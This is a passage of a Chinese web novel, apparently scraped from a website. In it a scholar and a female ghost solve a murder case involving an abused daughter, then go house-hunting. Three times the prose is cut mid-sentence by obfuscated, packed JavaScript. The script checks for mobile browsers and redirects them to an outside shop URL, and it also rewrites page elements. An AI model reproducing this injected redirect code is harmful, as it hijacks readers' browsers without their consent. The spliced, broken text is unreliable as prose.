十八娘收敛笑意,端出长辈的架子,语重心长地教导道:“防人之心不可无。明也虽仗义,可你切莫失了提防!这京城里,多的是披着锦绣的权贵,专好你这样的清俊少年。你若被人抓了去,我一个鬼,如何救你?” 徐寄春嘴上应着话,心里却想着事。 经十八娘提醒,他想到一个主意,一个赶走陆修晏的好主意。 不远处,一辆马车正朝此处驶来。 徐寄春回身委屈应道,言语间多是对陆修晏的维护:“十八娘,你别多想,明也绝不会是那种坏人。他有时摸我的手碰我的腰 ,不过是看我身子弱,好心扶我一把。” “他若是对你有非分之想,你告诉我,我去吓他。” “我再看看吧。你先别吓他,别白白伤了好人的心。” “我明白!” 话音刚落,陆修晏驾着马车出现,满脸堆笑,正好露出一口白牙:“子安,快上车!” 一人一鬼掀帘进去,陆修晏策马扬鞭,笑得合不拢嘴。 十八娘听见笑声,挠挠头不解道:“他在笑什么?” 徐寄春掀帘赏景,漫不经心道:“明也一贯爱笑罢了。” 马车轱辘飞转,堪堪二刻钟的功夫,便载着二人一鬼稳稳停在桃木村附近的树下。 陆修晏:“你们想进村吗?今日在村口巡视之人,是刑部侍郎蔡大人,我认识。” 十八娘轻轻摇了摇头,视线先后扫过稀稀落落的村舍,与村外那片金黄翻滚的麦田,末了才抬手指向村后的不庭山,道:“我们去山里瞧瞧。” 桃木村北倚不庭山,进出的主路,仅有一条。 刑部、大理寺与京兆府的官差在村中,甚至附近的村落盘问多日,却毫无线索,说明凶手并非从主路进出。 主路没有凶手的行踪,那凶手离村,必是取道山野小径。 十八娘叫上另外两人上山:“不庭山北麓为不庭村,西麓乃桃木村。另两面山下,尽是荒僻野径,人迹罕至,杳无人烟。” 徐寄春:“岂非凶手只要避开有人居住的北面,便能神不知鬼不觉地消失?” 十八娘:“对!” 因端阳当日的暴雨,山中足迹早被冲刷殆尽。 一人一鬼用心找了半日没找到线索,倒是四处乱跑的陆修晏发现一丝蛛丝之迹:“那边树下有马粪。” 山中有马粪不足为奇,但马粪堆积如山,且周围草尽而蹄痕深,便不大寻常。 陆修晏指着树身上多道重叠的勒痕:“此马系在此处,少说有一日。” 大雨本应冲刷马粪,但此马为避雨,绷紧缰绳躲在一旁枝叶浓密的古榕树下,这才让部分马粪得以存留。 徐寄春:“马粪犹新,看来是近日所遗。” 古榕树下,有一丛车前草。 十八娘豁然开朗:“每年龙头祭前,不庭村的村民会进山采草药。走,我们去找几个人问问。” 二人一鬼沿北麓而下,寻至村口,正好遇见四位下棋的老翁。 徐寄春:“老翁,你们前几日上山,可曾见到一匹马?” 四位老翁对视一眼:“没见过马,只见过一个采药的女娃。” “采药的女娃?” “她背着一个背篓,走得可快了!” 14. 鬼新娘(七) 端阳前后,湿热交蒸,易发时疫。同时,五月草木繁茂,遍地皆药。 民间素有采百草煎汤沐浴,以消百病的习俗。 其他村落一般会选在端午前三日上山,唯独不庭村不同。 因每年村中有龙头祭,因而村民们会在端阳前十日,先后上山采草药。 据四位老翁回忆,七日前天刚蒙蒙亮,他们结伴早起上山。 行至不庭山西面山腰处,忽见一个女子背着半满的背篓,头也不回地往山上跑。 老翁抚须笑道:“我们估摸着她是要赶早往更高处去采药,山上的药材多,成色也好。” 徐寄春:“你们与官差提过这事吗?” 四位老翁面面相觑:“没有。官差来过,只问我们是否见过男子。我们虽老,男女还是分得清楚的,就是个女娃,瘦得很。” 十八娘眉头紧蹙:“瘦?” 徐寄春帮她追问道:“你们只是远远看见她跑上山,从何知晓她很瘦?” 其中一位老翁年少从军,习过射箭,眼目力犹在:“那日她穿着裙子,可衣裳在她身上直晃荡。还有,她跑上山时步伐轻快,利索得很,铁定瘦得没几两肉!” 一个很瘦的女子,让十八娘想到一个人。 一个在秦家三人死后才抵京的人,一个或许对秦融与张惠娘有恨的人。 秦采蘩。 十八娘赶忙招呼另外两人回城:“我们回城去计府,找张夫人再问问。” 二人一鬼迎着烈阳,脚步匆匆地往桃木村赶。 四位老翁则将棋盘挪到老树荫下,棋子落得噼啪响,继续对弈。 下棋的下至申时末,收起棋盘,满意回家。 赶路的赶至未时初,思绪万千,疾驰入城。 路上,十八娘说起昨日在屏风后见到的秦采蘩:“特别瘦,哭得很伤心。” 她一身孝服,静静坐在屏风后。 脸颊消瘦,颧骨微凸,面色是久病多年的蜡黄。 宽大的孝服衣袖随着她抬手拭泪滑落,露出一截细得令人心惊的小臂。 十八娘还记得,她一直在咳。 每咳一声,便牵扯单薄的肩背急促起伏。 咳得狠了,她几乎站立不住。 手死死抠着椅背边沿,仿佛下一刻便要断了生机。 十八娘实在无法将一个如此瘦小女子,与 “杀人凶手”四个字联系到一起。 徐寄春掀帘问道:“明也,你见过瘦而有力的女子吗?” 驾车的陆修晏迟疑地点点头:“见过。四年前,我在海州军营待过半年。那边的渔女便是如此,身形偏瘦但身手矫健,有时还能提刀上阵。” 此言一出,二人一鬼俱陷入沉默。 直至到了计府所在的教义坊,十八娘才闷声闷气道:“若她真是凶手,我如何向蛮奴交代……” 查来查去,查到张夫人的外甥女身上。 若凶手真是秦采蘩,张夫人不知是否会动怒?进而断了苏映棠的供品。 徐寄春劝她不要多想:“没准不是。” 马车停在计府门口,门房见是卫国公府的马车,立马进府通报。 很快,计家管事赶来府门,一面躬身亲迎陆修晏入府,一面招呼杂役安置车马。 内室里,张夫人正独自以帕拭泪,忽闻侍女通报:陆修晏与徐寄春再次登门入府。 她悄悄攥紧帕子,压下心底的不安,随侍女步覆轻缓地挪去前厅,热情招呼道:“两位贤侄,今日进府,所为何事?” 陆修晏开门见山:“伯母,我们有一件事,想再问问秦娘子。” 闻言,张夫人以帕掩唇,面上犯难:“蘩娘尚在孝期,却频繁见外男。此事若传出去,于她名声有损。两位贤侄,我并非不放心你们,而是京中闲言碎语太多。” 徐寄春插话道:“夫人,今日既见不到秦娘子,我们倒有一事想问问您。” 张夫人:“何事?” 徐寄春:“可否请您将奉命接秦娘子入京的下人找来。学生想问问他们,为何会在虎牢关与秦娘子相遇?” 秦家三人尸身被发现的第三日,计家下人便在虎牢关偶遇秦采蘩。 虎牢关并非普通关隘,而是东西通衢,官商必经之路。 几月前,徐寄春赴京赶考,曾途经此地。见车马舟楫、官驿使节、商旅举子络绎于途。 虎牢关人来人往,一心赶路且不知秦采蘩相貌的计家下人,难道能凭空认出秦采蘩? 最有可能的情况是:秦采蘩认出计府的马车或下人,主动上前相认。 “秦四郎舍弟一家前日来议营葬事宜,我便打发了他们去许州老宅料理。”张夫人努力维持着端庄的笑意,捏帕的手却不自觉收紧。 徐寄春不合时宜地笑了笑:“真是不巧啊。” 张夫人:“不如等他们回京,我再请你们入府询问?” 徐寄春含笑点头,与陆修晏一同起身告辞。 临走前,他出言提醒道:“夫人,我们能查到虎牢关,武大人应也快了。” 张夫人端茶的手凝在半空,那杯温热的茶终究未能入口。 因为,武飞玦来了。 武飞玦带着一众官差入府,一来竟瞧见自家外甥又与徐寄春形影不离,仿若白日见鬼:“明也,你怎么也在此处?” 陆修晏:“我陪探花郎来教义坊置宅。因不谙市价,特登门请教伯母。” 武飞玦震惊地张大嘴巴:“你陪他……置宅?” 陆修晏眉开眼笑:“舅父,我一向是个热心肠。” 武飞玦抹了抹头上的热汗:“你快回府吧。” 陆修晏瞄了一眼后面数不清的官差,凑到他面前,小声道:“舅父,你们来抓谁?” “朝堂之事,你少管。”武飞玦挥手赶他走,“快走快走。” 陆修晏走了,跨出大门又一把拽住徐寄春,喊上十八娘去了计府后门。二人一鬼从后门那堵矮墙翻进后院,再猫着腰沿游廊檐下的阴影,偷摸挪到前厅附近。 厅中,武飞玦正厉声道:“张夫人,刑部已查明,秦采蘩曾于虎牢关内客店盘桓两日。” 张夫人欠身解释:“武大人,这事我知道。蘩娘旧疾猝发,在客店将养。” 一脸急色的计大人,从官差身后走出:“夫人啊,蘩娘在何处?我已问过关内客店的掌柜,他说蘩娘曾消失两日!” 从不庭山去虎牢关,若是骑马,一来一回正好是两日。 张夫人一言不发,武飞玦心下了然,冷声吩咐道:“施大人,进后院拿人。” 有人闻声而动,带着一队官差迅速前去后院。 张夫人拦不住佩刀的官差,只能瘫坐在地,哭得梨花带雨:“不是她的错,她也是可怜人……” 官差靴声已至,陆修晏心头一紧,拽起徐寄春的手腕,顺着来路踉跄逃走。 二人一鬼足尖刚沾地,尚未稳住身形,头顶上方忽然传来一声悲怆的呼喊:“十八娘,你再救我一次吧!” 徐寄春疑惑抬头,望向对面墙头,正巧和一个长得千娇百媚的女子对上眼。 对视间,两人俱是一惊。 “你能看见我?” “你也是个鬼?” “万一被舅父发现,我就惨了。”一旁的陆修晏不明所以,催促徐寄春离开。 十八娘眨眨眼睛,目光在墙头的苏映棠与面前的徐寄春之间游移。 最后,她看向陆修晏:“明也,你看不到蛮奴吗?” 陆修晏愁眉苦眼:“蛮奴是谁?” 十八娘连声道奇怪:“怪了,为何子安能看见蛮奴,你却看不见?” 这个问题,陆修晏不清楚,徐寄春说不清。 两人面露无奈,只好尴尬一笑。 已等半日的苏映棠不耐烦地跳下墙头:“别管他们了。十八娘,你再帮我一件事。” “何事?” “替我向秦娘子捎句话。” “我是鬼诶,我如何捎话给她?”十八娘不可置信地指指自己。 “他不是人吗?你放心,这事办成,我花钱送你去地府。”苏映棠顺手指向徐寄春。 十八娘是鬼,一个徘徊在人世十八年,却始终无法投胎的鬼。 她最大的心愿,便是去地府瞧一瞧。 可惜,她是个倒霉鬼,还是个穷鬼。 鬼去地府转一圈,上下打点所需的冥财,动辄就要一千两。 十八娘很想去地府,但不愿连累徐寄春。 他寒窗苦读数十载才考上功名,私放人犯乃是重罪,轻则徒刑,重则流刑。 思及此,十八娘直接厉声拒绝:“不好。我可以帮你,但子安不行。你不是有大把冥财吗?你花些钱换法力,再托梦给秦娘子提个醒,不就好了?” 苏映棠急得原地踱步:“张夫人已打点好一切,你让他帮我带一句话便好。” 十八娘依旧冷着脸拒绝:“不要。” 僵持间,徐寄春斟酌着开口:“带话的方式有很多,我可以假装路过告诉她,也可以写一封信告诉她。” 苏映棠一听有戏,忙不迭跑到他面前:“张夫人与莲花尼寺的主持是多年同修,你只需告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆修晏和煦地笑道:“旁人不行,他可以。” “为何?” “他与顺王府往来密切,交情深厚。” 顺王与当今皇帝同出一祖,乃宗室至亲。 凭顺王府的权势,欲擢拔一个洛水县令升任司农寺卿,简直易如反掌。 苏映棠:“错了。秦四郎一开始,并非顺王亲信。” 自献祭女儿秦采蘩后,秦融果然时运亨通,好似如有神助。先是正室张惠娘与外室越香先后有孕,后是借道士牵线,攀附上顺王府。 他把这一切,视为献祭一个灾星的福报。 因此,当秦采蘩从道士手中逃脱后,他又亲手将她重新送回去。 作为母亲的张惠娘,明知秦采蘩的苦难却置若罔闻。甚至在难产生下死胎后,将一切归因于秦采蘩的出逃。 “张夫人得知亲妹的真面目,自责到呕血。”苏映棠神色悲悯,“她时常遣人去许州接秦娘子入京,可每次都被其亲妹张惠娘以各种理由阻拦,之后,她总能收到秦娘子亲笔所写的平安信。她信了张惠娘的鬼话,以为秦娘子是真的病了,至昨夜才知其遭遇……” 张夫人一生行善礼佛,膝下仅一女。 她始料未及,这世间竟有母亲能狠下心肠,决绝地将亲生女儿推入火坑。 在暗无天日、形同囚笼的深山里。 秦采蘩白日为奴,替道士采药画符;夜里为妓,供道士泄.欲,熬过了两千个日夜的折磨。 上月,她意外得知秦融欲在桃木村再行替身解厄术,积压六年的恨意焚尽理智。 她毒杀道士,再假扮成道士潜入桃木村杀人。 十八娘攥紧拳头:“他们不配为人。那个道士是谁?” 苏映棠:“秦娘子很怕他,死活不肯说他的名字,只说他已经死了。张夫人得知她是杀人凶手后,天未亮便赶去莲花尼寺求主持庇护她。岂料张夫人一回府,竟发现她不见了。” 张夫人得知秦采蘩的遭遇,便筹谋将她送进莲花尼寺,以期遁入佛门避死。 可如今,秦采蘩跑了,刑部又已查到真相。 为今之计,唯有抢在刑部之前,将秦采蘩送进尼寺出家,为她求得一线生机。 在遇见十八娘之前,苏映棠已寻了秦采蘩大半日。虽知晓她藏身何处,但苦于自己是个鬼,无法带话,这才将主意打到跟随十八娘查案的徐寄春身上。 秦采蘩藏在秦家原先的宅子里。 秦融升官后举家搬走,宅子就此荒废。 他们翻墙进去,却听见一男一女在房中吵架。 女子说:“你闭嘴!” 男子说:“你不杀他们,他们便会杀你。” 十八娘疑心有人胁迫秦采蘩,慌忙循声飘进去。 可房中空空荡荡,除了僵坐在镜前的秦采蘩,再无旁人。 而秦采蘩正捂住耳朵,与镜中的自己吵得不亦乐乎…… 15. 小人国(一) 从镜前破窗斜射入室内的颓阳,斑驳地照在秦采蘩惨白的脸上。 空寂的四壁之间,除了她的自言自语,便只剩下风穿过窗纸破洞的幽咽。 十八娘站在秦采蘩身边,看她与镜中的自己吵架。 女子的声音,虚弱无力又怯懦。 男子的声音,狂妄自大又低沉。 从激烈的争吵中,十八娘猜测男子正在胁迫女子杀死知情的张夫人,而女子死活不肯。 女子:“姨母不会出卖我。” 男子:“她和张惠娘一样坏,为了计修竹的仕途,肯定会出卖你。蠢妇,等她招来官差,我看你往哪里跑!” 秦采蘩一拳砸向铜镜,嘶吼道:“姨母是好人,只有她念着我!只有她喜欢我!你闭嘴!闭嘴!” 这一拳,积攒了十足的怒气,铜镜应声碎裂。 光影晃动间,镜中女子的脸歪七扭八,仿若疯魔。 十八娘默默飘出去:“她疯了……” 在无休止的凌辱与摧残中,秦采蘩被生生撕裂成两半。 一半是懦弱的秦采蘩自己,一半是折磨她的阴鸷道士。 秦采蘩学得很像,从喉间滚出的男声到那副目空一切的神态,甚至甩拂尘的动作,俨然一个自负到骨子里的中年男子。 她疯了,被亲生爹娘活活逼疯。 最后她挥刀砍向将她推入地狱的始作俑者,只为结束自己一分为二的痛苦。 房中男女的争吵声停下,房外众人沉默不语。 内外安静良久,徐寄春忽地望向秦采蘩所在的房间,抚掌道好:“疯了好,越疯越好。明也,你快去找武大人,说秦娘子藏在此处。” 苏映棠厉声阻止:“不行,我答应过张夫人,一定得保下她的命。只要将她送进莲花尼寺,主持自会庇护她。” 徐寄春:“依大周律,‘诸道士、女冠、僧、尼……犯奸、盗、诈伪、杀伤者,各以凡人法论’。莲花尼寺虽是佛门之地,刑部依律入寺抓人,住持亦不敢抗辩。落发为尼难逃死罪,除非她是个疯子。”[1] “我记得律法中有一条,‘笃疾犯杀人应死者,上请’。”十八娘恍然大悟,又忧心忡忡,“可她杀的是亲生爹娘,犯的是恶逆之罪,皇帝会赦免她吗?” 徐寄春并无把握,愁得来回踱步。 陆修晏苦思冥想燕平帝往年开恩特赦人犯之例,结果无迹可循,只得作罢。 眼见两人愁眉苦脸,苏映棠赶忙站出来:“我有办法让皇帝赦免她!” “你有什么办法?” “哈哈哈,我才想起来,黄衫客的供奉人是韩太后。” 浮山楼内,若论巧舌如簧,当推黄衫客为首。 由他出面装神弄鬼,再请韩太后劝诫亲儿子燕平帝,想来不是难事。 既已想好后路,徐寄春一边推陆修晏出门,一边在他耳边低语:“我会设法让秦娘子当街发疯,若我被她挟持,你记得救我。” 陆修晏握紧腰侧的剑,一脸正色道:“我定保你平安。” 他翻墙离开,苏映棠飘去坊口望风。 十八娘与徐寄春躲在角落,静候时机。 男女的吵闹声再次响起,十八娘低着头闷声闷气:“子安,对不起,是我连累了你……” 地上卧着一只残破的纸鸢,骨架全散。 独独素绢上的交颈鸳鸯,与两句字迹完全不同的情诗,尚能辨得清。 目光像被黏住了似的,徐寄春失神地盯着纸鸢,半晌才抬眼,不咸不淡应她:“我说了,我喜欢行善积德。” 他回得漫不经心,十八娘却更加难受:“万一有人借此构陷你,断送了你的功名前程,如何是好?” “我今日无意路过此处而已。” “可……” 十八娘的话还未完全脱口,苏映棠已匆匆飘过来:“他们来了。” 闻言,徐寄春大步走过去,一脚踹开房门:“孽障,怪不得秦大人将你送走。看你这污秽之气,害得家宅不宁,就是你克得全家病痛缠身!” 话音未落,镜中与镜前的秦采蘩同时回头,胸口剧烈起伏,眼中杀意升腾。 下一刻,她握紧掌中银簪,身形如电,直扑徐寄春面门。 秦采蘩身法之快,远超徐寄春所料。他不及多想,慌不择路夺门而逃。 苏映棠在前面引路,十八娘在后面盯紧秦采蘩,指挥徐寄春闪躲她的攻击。 不远处出现武飞玦的身影,徐寄春特意放慢脚步,惊慌大叫:“救命,疯子杀人了!” 他呼救的间隙,给了秦采蘩可乘之机。 她飞身往前一刺,银簪寒光乍现。 十八娘吓得大喊 :“子安,往左躲。” 徐寄春连回头的念头都不敢有,只凭本能向左一晃,才堪堪避开致命的一击。 后背衣袍“嗤啦” 一声,被簪尖划开三寸长的口子。他打了个寒颤,脚下却不敢有丝毫停顿,拼尽全力朝着武飞玦的方向跑去。 万幸,就在秦采蘩即将再次出手的一刹,陆修晏腾身而起,一脚踢飞她手中的银簪。 银簪落地,徐寄春跑到武飞玦面前:“武大人,学生回家途径此地,这个疯子突然跑出来杀我。” “你与她无冤无仇,她怎会杀你?”武飞玦困惑地指指秦采蘩。 “学生不知其故,只观其言行疯傻,怕是有癫狂之症。”徐寄春累得气喘吁吁。 武飞玦不信他的说辞,高声吩咐身后的官差拿人。 几个官差听令走向秦采蘩,徐寄春清咳一声,随即大声叫嚷起来:“武大人,她就是疯子。” “疯子”二字如针般扎在秦采蘩耳畔。 她抬手捂住双耳,喉间先滚出几声女子的呜咽,转瞬又变作男子的粗吼。 女子:“我不是疯子!” 男子:“蠢妇,全怪你!让你杀人你不杀,活该被抓住。” 因徐寄春一路叫喊,引来不少百姓围观。 这般男女声交替的诡异呓语,吓得百姓与官差连连后退。 有人高呼:“疯子啊……” 徐寄春勾起唇角,兀自诉苦:“武大人,学生并非妄言,她的确是疯子!” 武飞玦朝身后递眼色,周遭的官差涌向秦采蘩。 沉重的镣铐锁上她的手足,两个官差架着她往外拖。拖拽间,她口中男女声仍在撕扯不休,时而尖啸时而粗吼,吵得人毛骨悚然。 武飞玦走前,探究的眼神在徐寄春与陆修晏身上来回打转。 最终,他笑着喊走陆修晏:“明也,舅父想你了,你今日随舅父回府。” 陆修晏原想拒绝,但架不住武飞玦生拉硬拽,只能随他回武家。 “子安,我明日再来找你!” “……” 徐寄春在心里默默翻了一个白眼,盼着武飞玦多留陆修晏几日。 等围观的百姓散去,他双腿一软瘫坐在冰凉的地上,大口大口地喘着粗气。 苏映棠早已跑去找张夫人,独留十八娘守在徐寄春身边,随他坐在地上。 闭门鼓不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532148|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲,徐寄春扭头催她回家:“城门快关了,你还不走吗?” 十八娘背过身去,只留给他一道单薄的背影,肩头微微耸动。 徐寄春扶着墙起身,无奈道:“你哭什么……” “子安,谢谢你。” 她今日帮苏映棠破了案,不日还能去地府闲逛。 可是,徐寄春方才却因帮她,差点死在秦采蘩的银簪之下。 其他鬼的供奉人,无灾无虞。 只有她的供奉人,劫数不断。 十八娘:“子安,要不你把我的牌位撤走,别供奉我了。” 徐寄春绕到她的面前,蹲下身:“撤迁生母牌位,乃不孝之举。大周以孝治天下,若让有心人得知此事,我不光做不成承奉郎,还会被赶出京城,身败名裂。” 十八娘抬起头:“又没人知道你在供奉我……” 徐寄春面露难色:“迟了。有一日你没来寻我,我邀了几位同科进士到宅中吟诗。他们都瞧见了你的牌位,还赞我是个孝子。” “你……你别撤了。”十八娘一时也有些后怕,赶紧阻止。 “你快回家。” “蛮奴让我先随你回家,等她一起走。” “那我们走吧,回家。” 说好来接十八娘的苏映棠,等至子时,仍不见鬼影。今日虽是双日,但已过子时,贺兰妄早不在城中。 十八娘气得牙痒痒:“这蛮奴,定是忘了我。” 徐寄春躺在地上,旁观一团虚影坐在床上捶床生闷气,一声低笑猝不及防地从喉间滚了出来。 十八娘听见笑声,唉声叹息地倒回床上。 “儿笑母,也是不孝之举。” “我今日笑,往后不笑了。” “哼。” “子安,你说秦娘子能活下来吗?” “我们已拼尽全力,剩下的事,交给她自己吧。” 如徐寄春所料,一个月后的朝堂交锋。 先是顺王一派的言官称:秦采蘩残忍弑亲,悖逆人伦,罪不容诛。 刑部与大理寺则依律查证,将秦融常年禁锢亲女、以邪术杀女取血之确凿罪证、并秦采蘩六年受虐之实情、以及其罹患癫狂之医案诊状,一并具本上奏,奏请依律免其死罪。 这场朝堂之争,持续三日。 最后因燕平帝的一句话盖棺定论:“今逢太后万寿之期,宜布宽大之泽。朕感念苍生,特降恩旨赦其死罪,以彰仁德。” 不过,据陆修晏从亲娘处得来的小道消息:燕平帝赦免秦采蘩,压根与韩太后无关。 十八娘:“黄衫客找韩太后哭了几日呢。” 陆修晏:“凡大赦天下,十恶之罪皆不在赦免之列。韩太后哭也没用,不过……” 十八娘:“不过什么?” 陆修晏:“不过秦娘子运气不错。今年端阳龙舟赛上,顺王府使阴招赢了圣上的龙舟,龙颜沉了好几日。偏偏前日顺王自己不长记性,又在御前提起龙舟之事。圣上正愁没由头敲打顺王府,便借此案给顺王府添堵。” 秦融这一生,起也顺王府,败也顺王府。 倒真应了那句话:祸兮福之所倚,福兮祸之所伏。 秦采蘩死罪可免,活罪难逃。 张夫人亲自将她送往许州老宅,名为静养,实则看管。 而老宅之中,早有几位与她同父异母的女子正耐心等着她。 所有事尘埃落定,唯独那个道士,秦采蘩始终不肯透露他的姓名。 只说死了,被她毒死了。 16. 小人国(二) 秦氏一案后,洛京城中最高兴的一人一鬼,当属燕平帝与十八娘。 前者因成功给顺王府添堵,眼见嘴碎的讨厌堂兄吃了哑巴亏,每日躲在寝殿捶床大笑。 后者因徐寄春顺利通过吏部关试,更得武飞玦力荐,一步青云擢升刑部侍郎而喜上眉梢。 接连数日,十八娘穿街走巷陪徐寄春相宅,誓要为其找个舒心的好宅子。 一人一鬼今日去的是恭安坊。 佳宅在恭安坊西南隅,内有正堂一间,东西厢房各一间,书房一间及厨屋一间。 前院老槐枝繁叶茂,后院石榴花开正红。 宅子窗牖明净,售价五百两。 十八娘取下腰间的算盘,一边随徐寄春往里走,一边噼里啪啦地拨弄算盘:“子安,我找明也打听过了,刑部侍郎月俸足有三十两银子。可这宅子五百两,你得不吃不喝攒一年半呢。” 徐寄春转进东厢房,吩咐牙人静候在门外。 等算账的十八娘进房,他方盯着算盘,纳闷道:“你这算盘,哪来的?” 十八娘:“楼里账房的,我找她借一日算账。” 说是借,实则是求。 任流筝钟爱算账,不准任何鬼动她的算盘。 十八娘软磨硬泡好几日,总算借走一把旧算盘。 木梁都磨得发亮了,还缺了三颗珠子。 徐寄春得知来龙去脉,温声道:“我会心算,你日后不必借她的算盘。不过,若你喜欢算账,我可以送你一把小算盘,你可随身带着。” 十八娘尴尬地摇摇头:“我不会拨算盘,方才是假装在拨。” 徐寄春恍然大悟,怪不得自己看她手指在算珠间左磕右碰,毫无章法。 他以为是她的独门秘技,却原来她是在胡乱拨弄。 东厢房的窗牖推开,正是后院那株石榴树,树下放着两把交椅。 徐寄春背着手看得认真,身后的十八娘抱着手有些担心:“子安,你的银子够吗?” “够吧。” 他赴考所带的银两,已所剩无几。 因十八娘常说洛京居大不易,为了置宅,他前日特意从柜坊兑取了五千两,结果这宅子才五百两。 十八娘只当他在逞强,再次提出减少供品:“子安,蛮奴说我猪蹄吃多了,瞧着胖了些。明日起,你把猪蹄减到一碗。” “我倒瞧着你瘦了不少。”徐寄春回头,从头到脚打量她一眼,顺嘴问起她去地府闲逛的事,“你何时去地府?” 十八娘垂头丧气:“本月及下月,酆都城归相里闻管,他不收冥财,蛮奴让我再等等。” 徐寄春轻笑,好心为她提议:“你跳过酆都城,不就好了?” 十八娘:“一千两呢。我好不容易进去一趟,自然得遍历地府各处。而且我听闻酆都城金碧辉煌,是地府一日游的必去之地。” 徐寄春对这座宅子极为满意,提步出门找牙人商洽购宅之事,最终约定三日后立契过官衙。 趁两人议价的空当,十八娘溜到石榴树下赏景。 枝叶横斜交错,榴花一簇簇红似火,风过簌簌落红如碎霞纷扬。 她站在树下,仰头望着枝头最艳的那朵榴花。 几片殷红花瓣随风挣脱枝头,打着旋儿悠悠飘向她。她忙不迭伸手去接,却眼见它们从指间滑过,无声落地。 在人世间待得久了,十八娘时常忘记自己是鬼,一个连花瓣都碰不到的鬼。 牙人去了西厢房锁门,徐寄春倚在窗边慢慢等她。 “你喜欢吗?” “嗯,喜欢。” 十八娘想种石榴树很久了,夏能赏花秋能吃果。 可在浮山楼,一草一木都得拿冥财去换。她的日子过得紧巴巴,攒了许久的冥财,甚至买不回一株石榴树苗。 日子久了,她觉得窗外空无一物也不错。 只是每日回家,她的目光偶尔会不由自主地飘向任流筝种在前院的几株牡丹。 红是红,白是白,好生热闹。 前日他们在宣范坊相宅,徐寄春随口问起她喜欢在后院种什么树,“石榴树”三个字未经思量,便直直从她喉咙里蹦了出来。 她想,她其实还是惦记着石榴树。 牙人已锁好各处的房门,笑着进房请徐寄春出门。 两人在坊口分开,一个朝北去邸店,一个朝东往南市走。 十八娘随徐寄春去南市:“太巧了,今日这宅院里,竟有石榴树!” 徐寄春:“对啊,特别巧,正好有一株石榴树。” 高兴不过一瞬,十八娘复又担心起他的余财:“我虽攒了三百两冥财,但没法给你……” 人花的是银子。 只有鬼用冥财。 自从开始相宅,十八娘已多次提及钱财的事。 徐寄春思来想去,决心向她坦白:“我自小便有一位夫子与一位师父。我是他们唯一的弟子,他们有很多钱,全给我了。” 十八娘:“两个乡野老翁,能有多少钱?” 徐寄春语气平淡:“夫子大概有十万两吧。” “师父呢?” “大概也是十万两吧。” 十八娘惊呼之余,十分心动,期待地问出口:“子安,你的夫子与师父还缺弟子吗?我虽是鬼,但一向品行端正,是个不可多得的好苗子。” 徐寄春摊手:“他们不缺弟子。” 十八娘:“真是可惜,他们失去了我这个鬼弟子。” 一人一鬼一路絮絮叨叨到了南市。 徐寄春带着十八娘,在南市穿行置办新宅所需的家当物件。 不到半日,妥帖买齐。 十八娘陪他逛了大半日,不觉累,只觉开心。 浮山楼中的其他鬼,每日有忙不完的事。 她只能独自在城中徘徊,四处凑热闹。 如今,徐寄春愿意让她跟在身边,肯耐心听她唠叨,同她细细商量诸事。她心头那点满足,被一种从未有过的踏实,填得满满当当。 今日的南市,热闹非凡。 一人一鬼路过瓦舍时,里面声响阵阵。 十八娘平日最爱去瓦舍,但知徐寄春怕吵,便故意目不斜视走过瓦舍入口。 走在后面的徐寄春瞧见她双手攥得极紧,猜她忍得辛苦,脚步一拐,折进了瓦舍。 喧声渐沸,喝彩声不绝于耳。 不知今日又来了哪些新鲜玩意儿? 终是没忍住,十八娘侧过半边脸,偷偷朝右扫了一眼,余光却瞥见身后空无一人。她慌忙原路折返,却在瓦舍入口被人唤住:“我今日想进去看热闹。” “我陪你!” 十八娘陪着徐寄春从吞刀吐火的杂技,看到人头分家的幻术,最后停在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532149|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傀儡戏棚子前。 今日演的是《黄氏女游阴》。 棚子不大,三面围着粗布帘子,只留一面朝外。 徐寄春花钱要了把长凳,独占第一排。 戏将开场,人潮涌动。有男子觑见他身旁空位,假意被人流一推,趔趄着就要顺势坐下。 “我等人,这里有人。”亏得徐寄春眼疾手快,拦在男子身前。 他面冷,男子知趣退后。 咔哒—— 黄氏女的木偶出现在戏台之上,一步一摇走进地府:“阴曹地府暗无天,十八层地狱阴惨惨……” 十八娘坐在凳子上笑得前仰后合,还不忘纠正黄氏女的路线:“她走错了,野鬼村过去是迷魂殿。她直接跑去酆都城,相里闻定会大骂她一顿。” 徐寄春随她笑:“没准她去的时候,相里闻不在。” 台上的黄氏女踉跄着扑倒在酆都城外。 台下的十八娘笑倒在徐寄春的怀中,身子发颤。 “子安子安。” “嗯?” “谢谢你。” “一家人不必言谢。” 今日瓦舍里,数一处摊子前最扎眼。 踮脚的、伸脖的,喧嚷的……人墙厚厚围了几层。 徐寄春仗着身量高,轻而易举地挤到摊前站定。 十八娘站在他的身前,好奇地盯着面前木箱中的物件。 那是两具人腊。 躯体干瘪得不成人形、四肢细如枯枝。 一层深褐色的皮紧贴着嶙峋骨骼,曾经的口鼻处,眼下唯余大小不一的沟壑。 人腊深陷的眼窝空洞如井,十八娘盯着看了片刻,顿觉脊背发凉,赶忙别开脸。 摊主夫妇见摊前人山人海,脸上露出满意的笑容,高声吆喝道:“走过路过莫错过!快来瞧一瞧东海小人国的真容喽!” 此话一出,立马有人反驳:“哪有什么小人国!” 